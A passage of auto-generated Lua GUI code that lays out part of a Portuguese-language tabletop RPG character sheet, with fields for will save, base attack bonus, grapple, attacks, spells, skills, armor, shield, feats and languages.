obj.label116 = GUI.fromHandle(_obj_newObject("label"));
obj.label116:setParent(obj.layout21);
obj.label116:setText("+");
obj.label116:setWidth(10);
obj.label116:setHeight(30);
obj.label116:setLeft(330);
obj.label116:setHorzTextAlign("center");
obj.label116:setFontColor("black");
obj.label116:setName("label116");
obj.label117 = GUI.fromHandle(_obj_newObject("label"));
obj.label117:setParent(obj.layout21);
obj.label117:setField("modvont");
obj.label117:setWidth(50);
obj.label117:setHeight(30);
obj.label117:setLeft(340);
obj.label117:setHorzTextAlign("center");
obj.label117:setFontColor("black");
obj.label117:setName("label117");
obj.label118 = GUI.fromHandle(_obj_newObject("label"));
obj.label118:setParent(obj.layout21);
obj.label118:setText("+");
obj.label118:setWidth(10);
obj.label118:setHeight(30);
obj.label118:setLeft(390);
obj.label118:setHorzTextAlign("center");
obj.label118:setFontColor("black");
obj.label118:setName("label118");
obj.edit51 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit51:setParent(obj.layout21);
obj.edit51:setField("magicovont");
obj.edit51:setWidth(50);
obj.edit51:setHeight(30);
obj.edit51:setLeft(400);
obj.edit51:setHorzTextAlign("center");
obj.edit51:setFontColor("black");
obj.edit51:setName("edit51");
obj.label119 = GUI.fromHandle(_obj_newObject("label"));
obj.label119:setParent(obj.layout21);
obj.label119:setText("+");
obj.label119:setWidth(10);
obj.label119:setHeight(30);
obj.label119:setLeft(450);
obj.label119:setHorzTextAlign("center");
obj.label119:setFontColor("black");
obj.label119:setName("label119");
obj.edit52 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit52:setParent(obj.layout21);
obj.edit52:setField("outrosvont");
obj.edit52:setWidth(50);
obj.edit52:setHeight(30);
obj.edit52:setLeft(460);
obj.edit52:setHorzTextAlign("center");
obj.edit52:setFontColor("black");
obj.edit52:setName("edit52");
obj.label120 = GUI.fromHandle(_obj_newObject("label"));
obj.label120:setParent(obj.layout21);
obj.label120:setText("+");
obj.label120:setWidth(10);
obj.label120:setHeight(30);
obj.label120:setLeft(510);
obj.label120:setHorzTextAlign("center");
obj.label120:setFontColor("black");
obj.label120:setName("label120");
obj.edit53 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit53:setParent(obj.layout21);
obj.edit53:setField("tempvont");
obj.edit53:setWidth(50);
obj.edit53:setHeight(30);
obj.edit53:setLeft(520);
obj.edit53:setHorzTextAlign("center");
obj.edit53:setFontColor("black");
obj.edit53:setName("edit53");
obj.label121 = GUI.fromHandle(_obj_newObject("label"));
obj.label121:setParent(obj.layout21);
obj.label121:setText("+");
obj.label121:setWidth(10);
obj.label121:setHeight(30);
obj.label121:setLeft(570);
obj.label121:setHorzTextAlign("center");
obj.label121:setFontColor("black");
obj.label121:setName("label121");
obj.edit54 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit54:setParent(obj.layout21);
obj.edit54:setField("condvont");
obj.edit54:setWidth(50);
obj.edit54:setHeight(30);
obj.edit54:setLeft(580);
obj.edit54:setHorzTextAlign("center");
obj.edit54:setFontColor("black");
obj.edit54:setName("edit54");
obj.dataLink6 = GUI.fromHandle(_obj_newObject("dataLink"));
obj.dataLink6:setParent(obj.rectangle8);
obj.dataLink6:setFields({'modsabedoria', 'vontade', 'basevont', 'modvont', 'magicovont', 'outrosvont', 'tempvont', 'condvont'});
obj.dataLink6:setName("dataLink6");
obj.rectangle9 = GUI.fromHandle(_obj_newObject("rectangle"));
obj.rectangle9:setParent(obj.flowLayout1);
obj.rectangle9:setWidth(635);
obj.rectangle9:setHeight(105);
obj.rectangle9:setTop(540);
obj.rectangle9:setColor("white");
obj.rectangle9:setName("rectangle9");
obj.layout22 = GUI.fromHandle(_obj_newObject("layout"));
obj.layout22:setParent(obj.rectangle9);
obj.layout22:setWidth(635);
obj.layout22:setHeight(30);
obj.layout22:setName("layout22");
obj.label122 = GUI.fromHandle(_obj_newObject("label"));
obj.label122:setParent(obj.layout22);
obj.label122:setText("Bônus Base de Ataque (BBA)");
obj.label122:setWidth(200);
obj.label122:setHeight(30);
obj.label122:setFontColor("black");
obj.label122:setName("label122");
obj.edit55 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit55:setParent(obj.layout22);
obj.edit55:setField("bba");
obj.edit55:setWidth(60);
obj.edit55:setHeight(30);
obj.edit55:setLeft(210);
obj.edit55:setFontColor("black");
obj.edit55:setName("edit55");
obj.label123 = GUI.fromHandle(_obj_newObject("label"));
obj.label123:setParent(obj.layout22);
obj.label123:setText("Resistência a Magia");
obj.label123:setWidth(200);
obj.label123:setHeight(30);
obj.label123:setLeft(280);
obj.label123:setFontColor("black");
obj.label123:setName("label123");
obj.edit56 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit56:setParent(obj.layout22);
obj.edit56:setField("19");
obj.edit56:setWidth(60);
obj.edit56:setHeight(30);
obj.edit56:setLeft(480);
obj.edit56:setFontColor("black");
obj.edit56:setName("edit56");
obj.layout23 = GUI.fromHandle(_obj_newObject("layout"));
obj.layout23:setParent(obj.rectangle9);
obj.layout23:setWidth(635);
obj.layout23:setHeight(30);
obj.layout23:setTop(35);
obj.layout23:setName("layout23");
obj.label124 = GUI.fromHandle(_obj_newObject("label"));
obj.label124:setParent(obj.layout23);
obj.label124:setText("Agarrar");
obj.label124:setWidth(150);
obj.label124:setHeight(30);
obj.label124:setFontColor("black");
obj.label124:setName("label124");
obj.label125 = GUI.fromHandle(_obj_newObject("label"));
obj.label125:setParent(obj.layout23);
obj.label125:setField("agarrar");
obj.label125:setWidth(60);
obj.label125:setHeight(30);
obj.label125:setLeft(160);
obj.label125:setFontColor("black");
obj.label125:setName("label125");
obj.label126 = GUI.fromHandle(_obj_newObject("label"));
obj.label126:setParent(obj.layout23);
obj.label126:setText("=");
obj.label126:setWidth(15);
obj.label126:setHeight(30);
obj.label126:setLeft(220);
obj.label126:setFontColor("black");
obj.label126:setName("label126");
obj.label127 = GUI.fromHandle(_obj_newObject("label"));
obj.label127:setParent(obj.layout23);
obj.label127:setField("bbaagarrar");
obj.label127:setWidth(60);
obj.label127:setHeight(30);
obj.label127:setLeft(235);
obj.label127:setFontColor("black");
obj.label127:setName("label127");
obj.label128 = GUI.fromHandle(_obj_newObject("label"));
obj.label128:setParent(obj.layout23);
obj.label128:setText("+");
obj.label128:setWidth(15);
obj.label128:setHeight(30);
obj.label128:setLeft(295);
obj.label128:setFontColor("black");
obj.label128:setName("label128");
obj.label129 = GUI.fromHandle(_obj_newObject("label"));
obj.label129:setParent(obj.layout23);
obj.label129:setField("foragarrar");
obj.label129:setWidth(60);
obj.label129:setHeight(30);
obj.label129:setLeft(310);
obj.label129:setFontColor("black");
obj.label129:setName("label129");
obj.label130 = GUI.fromHandle(_obj_newObject("label"));
obj.label130:setParent(obj.layout23);
obj.label130:setText("+");
obj.label130:setWidth(15);
obj.label130:setHeight(30);
obj.label130:setLeft(370);
obj.label130:setFontColor("black");
obj.label130:setName("label130");
obj.edit57 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit57:setParent(obj.layout23);
obj.edit57:setField("tamagarrar");
obj.edit57:setWidth(60);
obj.edit57:setHeight(30);
obj.edit57:setLeft(385);
obj.edit57:setFontColor("black");
obj.edit57:setName("edit57");
obj.label131 = GUI.fromHandle(_obj_newObject("label"));
obj.label131:setParent(obj.layout23);
obj.label131:setText("+");
obj.label131:setWidth(15);
obj.label131:setHeight(30);
obj.label131:setLeft(445);
obj.label131:setFontColor("black");
obj.label131:setName("label131");
obj.edit58 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit58:setParent(obj.layout23);
obj.edit58:setField("outrosagarrar");
obj.edit58:setWidth(60);
obj.edit58:setHeight(30);
obj.edit58:setLeft(460);
obj.edit58:setFontColor("black");
obj.edit58:setName("edit58");
obj.dataLink7 = GUI.fromHandle(_obj_newObject("dataLink"));
obj.dataLink7:setParent(obj.rectangle9);
obj.dataLink7:setFields({'modforca', 'agarrar', 'bbaagarrar', 'foragarrar', 'tamagarrar', 'outrosagarrar', 'bba'});
obj.dataLink7:setName("dataLink7");
obj.layout24 = GUI.fromHandle(_obj_newObject("layout"));
obj.layout24:setParent(obj.rectangle9);
obj.layout24:setWidth(635);
obj.layout24:setHeight(30);
obj.layout24:setTop(75);
obj.layout24:setName("layout24");
obj.label132 = GUI.fromHandle(_obj_newObject("label"));
obj.label132:setParent(obj.layout24);
obj.label132:setText("");
obj.label132:setWidth(150);
obj.label132:setHeight(30);
obj.label132:setFontColor("black");
obj.label132:setName("label132");
obj.label133 = GUI.fromHandle(_obj_newObject("label"));
obj.label133:setParent(obj.layout24);
obj.label133:setField("Total");
obj.label133:setWidth(60);
obj.label133:setHeight(30);
obj.label133:setLeft(160);
obj.label133:setFontColor("black");
obj.label133:setName("label133");
obj.label134 = GUI.fromHandle(_obj_newObject("label"));
obj.label134:setParent(obj.layout24);
obj.label134:setText("");
obj.label134:setWidth(15);
obj.label134:setHeight(30);
obj.label134:setLeft(220);
obj.label134:setFontColor("black");
obj.label134:setName("label134");
obj.label135 = GUI.fromHandle(_obj_newObject("label"));
obj.label135:setParent(obj.layout24);
obj.label135:setText("BBA");
obj.label135:setWidth(60);
obj.label135:setHeight(30);
obj.label135:setLeft(235);
obj.label135:setFontColor("black");
obj.label135:setName("label135");
obj.label136 = GUI.fromHandle(_obj_newObject("label"));
obj.label136:setParent(obj.layout24);
obj.label136:setText("");
obj.label136:setWidth(15);
obj.label136:setHeight(30);
obj.label136:setLeft(295);
obj.label136:setFontColor("black");
obj.label136:setName("label136");
obj.label137 = GUI.fromHandle(_obj_newObject("label"));
obj.label137:setParent(obj.layout24);
obj.label137:setText("Mod Força");
obj.label137:setFontSize(9);
obj.label137:setWidth(60);
obj.label137:setHeight(30);
obj.label137:setLeft(310);
obj.label137:setFontColor("black");
obj.label137:setName("label137");
obj.label138 = GUI.fromHandle(_obj_newObject("label"));
obj.label138:setParent(obj.layout24);
obj.label138:setText("");
obj.label138:setWidth(15);
obj.label138:setHeight(30);
obj.label138:setLeft(370);
obj.label138:setFontColor("black");
obj.label138:setName("label138");
obj.label139 = GUI.fromHandle(_obj_newObject("label"));
obj.label139:setParent(obj.layout24);
obj.label139:setText("Mod Tamanho");
obj.label139:setFontSize(9);
obj.label139:setWidth(60);
obj.label139:setHeight(30);
obj.label139:setLeft(385);
obj.label139:setFontColor("black");
obj.label139:setName("label139");
obj.label140 = GUI.fromHandle(_obj_newObject("label"));
obj.label140:setParent(obj.layout24);
obj.label140:setText("");
obj.label140:setWidth(15);
obj.label140:setHeight(30);
obj.label140:setLeft(445);
obj.label140:setFontColor("black");
obj.label140:setName("label140");
obj.label141 = GUI.fromHandle(_obj_newObject("label"));
obj.label141:setParent(obj.layout24);
obj.label141:setText("Outros");
obj.label141:setWidth(60);
obj.label141:setHeight(30);
obj.label141:setLeft(460);
obj.label141:setFontColor("black");
obj.label141:setName("label141");
obj.rectangle10 = GUI.fromHandle(_obj_newObject("rectangle"));
obj.rectangle10:setParent(obj.flowLayout1);
obj.rectangle10:setWidth(800);
obj.rectangle10:setHeight(400);
obj.rectangle10:setTop(650);
obj.rectangle10:setColor("white");
obj.rectangle10:setName("rectangle10");
obj.ataques = GUI.fromHandle(_obj_newObject("form"));
obj.ataques:setParent(obj.rectangle10);
obj.ataques:setName("ataques");
obj.ataques:setWidth(800);
obj.ataques:setHeight(690);
obj.scrollBox2 = GUI.fromHandle(_obj_newObject("scrollBox"));
obj.scrollBox2:setParent(obj.ataques);
obj.scrollBox2:setAlign("client");
obj.scrollBox2:setName("scrollBox2");
obj.button1 = GUI.fromHandle(_obj_newObject("button"));
obj.button1:setParent(obj.scrollBox2);
obj.button1:setHeight(30);
obj.button1:setText("Novo Ataque");
obj.button1:setWidth(400);
obj.button1:setName("button1");
obj.rclataques = GUI.fromHandle(_obj_newObject("recordList"));
obj.rclataques:setParent(obj.scrollBox2);
obj.rclataques:setName("rclataques");
obj.rclataques:setField("ataque");
obj.rclataques:setTemplateForm("ataques");
obj.rclataques:setTop(60);
obj.rclataques:setWidth(800);
obj.rclataques:setHeight(180);
obj.rclataques:setAutoHeight(true);
obj.rectangle11 = GUI.fromHandle(_obj_newObject("rectangle"));
obj.rectangle11:setParent(obj.flowLayout1);
obj.rectangle11:setWidth(270);
obj.rectangle11:setHeight(300);
obj.rectangle11:setTop(330);
obj.rectangle11:setLeft(650);
obj.rectangle11:setColor("white");
obj.rectangle11:setName("rectangle11");
obj.label142 = GUI.fromHandle(_obj_newObject("label"));
obj.label142:setParent(obj.rectangle11);
obj.label142:setText("Magia");
obj.label142:setWidth(150);
obj.label142:setHeight(30);
obj.label142:setHorzTextAlign("center");
obj.label142:setFontColor("black");
obj.label142:setName("label142");
obj.label143 = GUI.fromHandle(_obj_newObject("label"));
obj.label143:setParent(obj.rectangle11);
obj.label143:setText("Nível");
obj.label143:setWidth(70);
obj.label143:setHeight(30);
obj.label143:setLeft(160);
obj.label143:setHorzTextAlign("center");
obj.label143:setFontColor("black");
obj.label143:setName("label143");
obj.frmFichaTeste = GUI.fromHandle(_obj_newObject("form"));
obj.frmFichaTeste:setParent(obj.rectangle11);
obj.frmFichaTeste:setName("frmFichaTeste");
obj.frmFichaTeste:setWidth(270);
obj.frmFichaTeste:setHeight(300);
obj.frmFichaTeste:setTop(35);
obj.button2 = GUI.fromHandle(_obj_newObject("button"));
obj.button2:setParent(obj.frmFichaTeste);
obj.button2:setHeight(30);
obj.button2:setText("Nova Magia");
obj.button2:setWidth(100);
obj.button2:setName("button2");
obj.rclMagias = GUI.fromHandle(_obj_newObject("recordList"));
obj.rclMagias:setParent(obj.frmFichaTeste);
obj.rclMagias:setName("rclMagias");
obj.rclMagias:setField("magias");
obj.rclMagias:setTemplateForm("frmItemDeMagia");
obj.rclMagias:setTop(60);
obj.rclMagias:setWidth(270);
obj.rclMagias:setAutoHeight(true);
obj.tab2 = GUI.fromHandle(_obj_newObject("tab"));
obj.tab2:setParent(obj.pgcPrincipal);
obj.tab2:setTitle("Perícias");
obj.tab2:setName("tab2");
obj.lista = GUI.fromHandle(_obj_newObject("form"));
obj.lista:setParent(obj.tab2);
obj.lista:setName("lista");
obj.lista:setWidth(700);
obj.lista:setHeight(1000);
obj.lista:setAlign("client");
obj.scrollBox3 = GUI.fromHandle(_obj_newObject("scrollBox"));
obj.scrollBox3:setParent(obj.lista);
obj.scrollBox3:setAlign("client");
obj.scrollBox3:setName("scrollBox3");
obj.pericias = GUI.fromHandle(_obj_newObject("form"));
obj.pericias:setParent(obj.scrollBox3);
obj.pericias:setName("pericias");
obj.pericias:setWidth(700);
obj.pericias:setHeight(1000);
obj.pericias:setAlign("client");
obj.scrollBox4 = GUI.fromHandle(_obj_newObject("scrollBox"));
obj.scrollBox4:setParent(obj.pericias);
obj.scrollBox4:setAlign("client");
obj.scrollBox4:setName("scrollBox4");
obj.button3 = GUI.fromHandle(_obj_newObject("button"));
obj.button3:setParent(obj.scrollBox4);
obj.button3:setLeft(20);
obj.button3:setTop(20);
obj.button3:setHeight(30);
obj.button3:setText("Nova Perícia");
obj.button3:setWidth(150);
obj.button3:setName("button3");
obj.rclpericias = GUI.fromHandle(_obj_newObject("recordList"));
obj.rclpericias:setParent(obj.scrollBox4);
obj.rclpericias:setName("rclpericias");
obj.rclpericias:setField("pericia");
obj.rclpericias:setTemplateForm("pericia");
obj.rclpericias:setTop(65);
obj.rclpericias:setWidth(700);
obj.rclpericias:setHeight(100);
obj.rclpericias:setAutoHeight(true);
obj.tab3 = GUI.fromHandle(_obj_newObject("tab"));
obj.tab3:setParent(obj.pgcPrincipal);
obj.tab3:setTitle("Verso");
obj.tab3:setName("tab3");
obj.rectangle12 = GUI.fromHandle(_obj_newObject("rectangle"));
obj.rectangle12:setParent(obj.tab3);
obj.rectangle12:setAlign("client");
obj.rectangle12:setName("rectangle12");
obj.scrollBox5 = GUI.fromHandle(_obj_newObject("scrollBox"));
obj.scrollBox5:setParent(obj.rectangle12);
obj.scrollBox5:setAlign("client");
obj.scrollBox5:setName("scrollBox5");
obj.flowLayout2 = GUI.fromHandle(_obj_newObject("flowLayout"));
obj.flowLayout2:setParent(obj.scrollBox5);
obj.flowLayout2:setAlign("top");
obj.flowLayout2:setHeight(500);
obj.flowLayout2:setMargins({left=10, right=10, top=10});
obj.flowLayout2:setAutoHeight(true);
obj.flowLayout2:setHorzAlign("center");
obj.flowLayout2:setLineSpacing(2);
obj.flowLayout2:setName("flowLayout2");
obj.rectangle13 = GUI.fromHandle(_obj_newObject("rectangle"));
obj.rectangle13:setParent(obj.flowLayout2);
obj.rectangle13:setWidth(450);
obj.rectangle13:setHeight(200);
obj.rectangle13:setColor("white");
obj.rectangle13:setName("rectangle13");
obj.edit59 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit59:setParent(obj.rectangle13);
obj.edit59:setField("20");
obj.edit59:setWidth(450);
obj.edit59:setHeight(30);
obj.edit59:setFontColor("black");
obj.edit59:setName("edit59");
obj.label144 = GUI.fromHandle(_obj_newObject("label"));
obj.label144:setParent(obj.rectangle13);
obj.label144:setText("Experiência");
obj.label144:setWidth(450);
obj.label144:setHeight(30);
obj.label144:setTop(30);
obj.label144:setHorzTextAlign("center");
obj.label144:setFontColor("black");
obj.label144:setName("label144");
obj.edit60 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit60:setParent(obj.rectangle13);
obj.edit60:setField("21");
obj.edit60:setWidth(450);
obj.edit60:setHeight(30);
obj.edit60:setTop(70);
obj.edit60:setFontColor("black");
obj.edit60:setName("edit60");
obj.label145 = GUI.fromHandle(_obj_newObject("label"));
obj.label145:setParent(obj.rectangle13);
obj.label145:setText("Teste de Resistência a Magia");
obj.label145:setWidth(450);
obj.label145:setHeight(30);
obj.label145:setTop(100);
obj.label145:setHorzTextAlign("center");
obj.label145:setFontColor("black");
obj.label145:setName("label145");
obj.edit61 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit61:setParent(obj.rectangle13);
obj.edit61:setField("22");
obj.edit61:setWidth(450);
obj.edit61:setHeight(30);
obj.edit61:setTop(140);
obj.edit61:setFontColor("black");
obj.edit61:setName("edit61");
obj.label146 = GUI.fromHandle(_obj_newObject("label"));
obj.label146:setParent(obj.rectangle13);
obj.label146:setText("Chance de Falha Arcana (%)");
obj.label146:setWidth(450);
obj.label146:setHeight(30);
obj.label146:setTop(170);
obj.label146:setHorzTextAlign("center");
obj.label146:setFontColor("black");
obj.label146:setName("label146");
obj.rectangle14 = GUI.fromHandle(_obj_newObject("rectangle"));
obj.rectangle14:setParent(obj.flowLayout2);
obj.rectangle14:setWidth(450);
obj.rectangle14:setHeight(200);
obj.rectangle14:setLeft(455);
obj.rectangle14:setColor("white");
obj.rectangle14:setName("rectangle14");
obj.label147 = GUI.fromHandle(_obj_newObject("label"));
obj.label147:setParent(obj.rectangle14);
obj.label147:setText("Talentos");
obj.label147:setWidth(450);
obj.label147:setHeight(30);
obj.label147:setHorzTextAlign("center");
obj.label147:setFontColor("black");
obj.label147:setName("label147");
obj.textEditor1 = GUI.fromHandle(_obj_newObject("textEditor"));
obj.textEditor1:setParent(obj.rectangle14);
obj.textEditor1:setField("talentos");
obj.textEditor1:setWidth(450);
obj.textEditor1:setHeight(165);
obj.textEditor1:setTop(35);
obj.textEditor1:setFontColor("black");
obj.textEditor1:setName("textEditor1");
obj.rectangle15 = GUI.fromHandle(_obj_newObject("rectangle"));
obj.rectangle15:setParent(obj.flowLayout2);
obj.rectangle15:setWidth(450);
obj.rectangle15:setHeight(200);
obj.rectangle15:setLeft(455);
obj.rectangle15:setTop(205);
obj.rectangle15:setColor("white");
obj.rectangle15:setName("rectangle15");
obj.label148 = GUI.fromHandle(_obj_newObject("label"));
obj.label148:setParent(obj.rectangle15);
obj.label148:setText("Habilidades Especiais");
obj.label148:setWidth(450);
obj.label148:setHeight(30);
obj.label148:setHorzTextAlign("center");
obj.label148:setFontColor("black");
obj.label148:setName("label148");
obj.textEditor2 = GUI.fromHandle(_obj_newObject("textEditor"));
obj.textEditor2:setParent(obj.rectangle15);
obj.textEditor2:setField(" habespeciais");
obj.textEditor2:setWidth(450);
obj.textEditor2:setHeight(165);
obj.textEditor2:setTop(35);
obj.textEditor2:setFontColor("black");
obj.textEditor2:setName("textEditor2");
obj.rectangle16 = GUI.fromHandle(_obj_newObject("rectangle"));
obj.rectangle16:setParent(obj.flowLayout2);
obj.rectangle16:setWidth(450);
obj.rectangle16:setHeight(200);
obj.rectangle16:setLeft(455);
obj.rectangle16:setTop(410);
obj.rectangle16:setColor("white");
obj.rectangle16:setName("rectangle16");
obj.label149 = GUI.fromHandle(_obj_newObject("label"));
obj.label149:setParent(obj.rectangle16);
obj.label149:setText("Idiomas");
obj.label149:setWidth(450);
obj.label149:setHeight(30);
obj.label149:setHorzTextAlign("center");
obj.label149:setFontColor("black");
obj.label149:setName("label149");
obj.textEditor3 = GUI.fromHandle(_obj_newObject("textEditor"));
obj.textEditor3:setParent(obj.rectangle16);
obj.textEditor3:setField("idiomas");
obj.textEditor3:setWidth(450);
obj.textEditor3:setHeight(165);
obj.textEditor3:setTop(35);
obj.textEditor3:setFontColor("black");
obj.textEditor3:setName("textEditor3");
obj.rectangle17 = GUI.fromHandle(_obj_newObject("rectangle"));
obj.rectangle17:setParent(obj.flowLayout2);
obj.rectangle17:setWidth(450);
obj.rectangle17:setHeight(260);
obj.rectangle17:setTop(205);
obj.rectangle17:setColor("white");
obj.rectangle17:setName("rectangle17");
obj.layout25 = GUI.fromHandle(_obj_newObject("layout"));
obj.layout25:setParent(obj.rectangle17);
obj.layout25:setWidth(450);
obj.layout25:setHeight(130);
obj.layout25:setName("layout25");
obj.label150 = GUI.fromHandle(_obj_newObject("label"));
obj.label150:setParent(obj.layout25);
obj.label150:setText("Armadura");
obj.label150:setWidth(210);
obj.label150:setHeight(30);
obj.label150:setHorzTextAlign("center");
obj.label150:setFontColor("black");
obj.label150:setName("label150");
obj.label151 = GUI.fromHandle(_obj_newObject("label"));
obj.label151:setParent(obj.layout25);
obj.label151:setText("Tipo");
obj.label151:setWidth(80);
obj.label151:setHeight(30);
obj.label151:setLeft(210);
obj.label151:setHorzTextAlign("center");
obj.label151:setFontColor("black");
obj.label151:setName("label151");
obj.label152 = GUI.fromHandle(_obj_newObject("label"));
obj.label152:setParent(obj.layout25);
obj.label152:setText("Bônus CA");
obj.label152:setWidth(80);
obj.label152:setHeight(30);
obj.label152:setLeft(290);
obj.label152:setHorzTextAlign("center");
obj.label152:setFontColor("black");
obj.label152:setName("label152");
obj.label153 = GUI.fromHandle(_obj_newObject("label"));
obj.label153:setParent(obj.layout25);
obj.label153:setText("Des Max.");
obj.label153:setWidth(80);
obj.label153:setHeight(30);
obj.label153:setLeft(370);
obj.label153:setHorzTextAlign("center");
obj.label153:setFontColor("black");
obj.label153:setName("label153");
obj.edit62 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit62:setParent(obj.layout25);
obj.edit62:setField("23");
obj.edit62:setWidth(210);
obj.edit62:setHeight(30);
obj.edit62:setTop(30);
obj.edit62:setHorzTextAlign("center");
obj.edit62:setFontColor("black");
obj.edit62:setName("edit62");
obj.edit63 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit63:setParent(obj.layout25);
obj.edit63:setField("24");
obj.edit63:setWidth(80);
obj.edit63:setHeight(30);
obj.edit63:setLeft(210);
obj.edit63:setTop(30);
obj.edit63:setHorzTextAlign("center");
obj.edit63:setFontColor("black");
obj.edit63:setName("edit63");
obj.edit64 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit64:setParent(obj.layout25);
obj.edit64:setField("armadura");
obj.edit64:setWidth(80);
obj.edit64:setHeight(30);
obj.edit64:setLeft(290);
obj.edit64:setTop(30);
obj.edit64:setHorzTextAlign("center");
obj.edit64:setFontColor("black");
obj.edit64:setName("edit64");
obj.edit65 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit65:setParent(obj.layout25);
obj.edit65:setField("25");
obj.edit65:setWidth(80);
obj.edit65:setHeight(30);
obj.edit65:setLeft(370);
obj.edit65:setTop(30);
obj.edit65:setHorzTextAlign("center");
obj.edit65:setFontColor("black");
obj.edit65:setName("edit65");
obj.label154 = GUI.fromHandle(_obj_newObject("label"));
obj.label154:setParent(obj.layout25);
obj.label154:setText("Penalidade");
obj.label154:setWidth(100);
obj.label154:setHeight(30);
obj.label154:setTop(60);
obj.label154:setHorzTextAlign("center");
obj.label154:setFontColor("black");
obj.label154:setName("label154");
obj.label155 = GUI.fromHandle(_obj_newObject("label"));
obj.label155:setParent(obj.layout25);
obj.label155:setText("Chance Falha Mágica");
obj.label155:setFontSize(8);
obj.label155:setWidth(100);
obj.label155:setHeight(30);
obj.label155:setLeft(100);
obj.label155:setTop(60);
obj.label155:setHorzTextAlign("center");
obj.label155:setFontColor("black");
obj.label155:setName("label155");
obj.label156 = GUI.fromHandle(_obj_newObject("label"));
obj.label156:setParent(obj.layout25);
obj.label156:setText("Deslocamento");
obj.label156:setFontSize(9);
obj.label156:setWidth(75);
obj.label156:setHeight(30);
obj.label156:setTop(60);
obj.label156:setLeft(200);
obj.label156:setHorzTextAlign("center");
obj.label156:setFontColor("black");
obj.label156:setName("label156");
obj.label157 = GUI.fromHandle(_obj_newObject("label"));
obj.label157:setParent(obj.layout25);
obj.label157:setText("Peso");
obj.label157:setWidth(75);
obj.label157:setHeight(30);
obj.label157:setTop(60);
obj.label157:setLeft(275);
obj.label157:setHorzTextAlign("center");
obj.label157:setFontColor("black");
obj.label157:setName("label157");
obj.label158 = GUI.fromHandle(_obj_newObject("label"));
obj.label158:setParent(obj.layout25);
obj.label158:setText("Propriedades");
obj.label158:setWidth(100);
obj.label158:setHeight(30);
obj.label158:setTop(60);
obj.label158:setLeft(350);
obj.label158:setHorzTextAlign("center");
obj.label158:setFontColor("black");
obj.label158:setName("label158");
obj.edit66 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit66:setParent(obj.layout25);
obj.edit66:setField("26");
obj.edit66:setWidth(100);
obj.edit66:setHeight(30);
obj.edit66:setTop(90);
obj.edit66:setHorzTextAlign("center");
obj.edit66:setFontColor("black");
obj.edit66:setName("edit66");
obj.edit67 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit67:setParent(obj.layout25);
obj.edit67:setField("27");
obj.edit67:setWidth(100);
obj.edit67:setHeight(30);
obj.edit67:setLeft(100);
obj.edit67:setTop(90);
obj.edit67:setHorzTextAlign("center");
obj.edit67:setFontColor("black");
obj.edit67:setName("edit67");
obj.edit68 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit68:setParent(obj.layout25);
obj.edit68:setField("28");
obj.edit68:setWidth(75);
obj.edit68:setHeight(30);
obj.edit68:setTop(90);
obj.edit68:setLeft(200);
obj.edit68:setHorzTextAlign("center");
obj.edit68:setFontColor("black");
obj.edit68:setName("edit68");
obj.edit69 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit69:setParent(obj.layout25);
obj.edit69:setField("29");
obj.edit69:setWidth(75);
obj.edit69:setHeight(30);
obj.edit69:setTop(90);
obj.edit69:setLeft(275);
obj.edit69:setHorzTextAlign("center");
obj.edit69:setFontColor("black");
obj.edit69:setName("edit69");
obj.edit70 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit70:setParent(obj.layout25);
obj.edit70:setField("30");
obj.edit70:setWidth(100);
obj.edit70:setHeight(30);
obj.edit70:setTop(90);
obj.edit70:setLeft(350);
obj.edit70:setHorzTextAlign("center");
obj.edit70:setFontColor("black");
obj.edit70:setName("edit70");
obj.layout26 = GUI.fromHandle(_obj_newObject("layout"));
obj.layout26:setParent(obj.rectangle17);
obj.layout26:setWidth(450);
obj.layout26:setHeight(130);
obj.layout26:setTop(135);
obj.layout26:setName("layout26");
obj.label159 = GUI.fromHandle(_obj_newObject("label"));
obj.label159:setParent(obj.layout26);
obj.label159:setText("Escudo");
obj.label159:setWidth(210);
obj.label159:setHeight(30);
obj.label159:setHorzTextAlign("center");
obj.label159:setFontColor("black");
obj.label159:setName("label159");
obj.label160 = GUI.fromHandle(_obj_newObject("label"));
obj.label160:setParent(obj.layout26);
obj.label160:setText("Bônus");
obj.label160:setWidth(80);
obj.label160:setHeight(30);
obj.label160:setLeft(210);
obj.label160:setHorzTextAlign("center");
obj.label160:setFontColor("black");
obj.label160:setName("label160");
obj.label161 = GUI.fromHandle(_obj_newObject("label"));
obj.label161:setParent(obj.layout26);
obj.label161:setText("Peso");
obj.label161:setWidth(80);
obj.label161:setHeight(30);
obj.label161:setLeft(290);
obj.label161:setHorzTextAlign("center");
obj.label161:setFontColor("black");
obj.label161:setName("label161");
obj.label162 = GUI.fromHandle(_obj_newObject("label"));
obj.label162:setParent(obj.layout26);
obj.label162:setText("Penalidade");
obj.label162:setWidth(80);
obj.label162:setHeight(30);
obj.label162:setLeft(370);
obj.label162:setHorzTextAlign("center");
obj.label162:setFontColor("black");
obj.label162:setName("label162");
obj.edit71 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit71:setParent(obj.layout26);
obj.edit71:setField("31");
obj.edit71:setWidth(210);
obj.edit71:setHeight(30);
obj.edit71:setTop(30);
obj.edit71:setHorzTextAlign("center");
obj.edit71:setFontColor("black");
obj.edit71:setName("edit71");
obj.edit72 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit72:setParent(obj.layout26);
obj.edit72:setField("escudo");
obj.edit72:setWidth(80);
obj.edit72:setHeight(30);
obj.edit72:setLeft(210);
obj.edit72:setTop(30);
obj.edit72:setHorzTextAlign("center");
obj.edit72:setFontColor("black");
obj.edit72:setName("edit72");
obj.edit73 = GUI.fromHandle(_obj_newObject("edit"));
obj.edit73:setParent(obj.layout26);
obj.edit73:setField("32");
obj.edit73:setWidth(80);
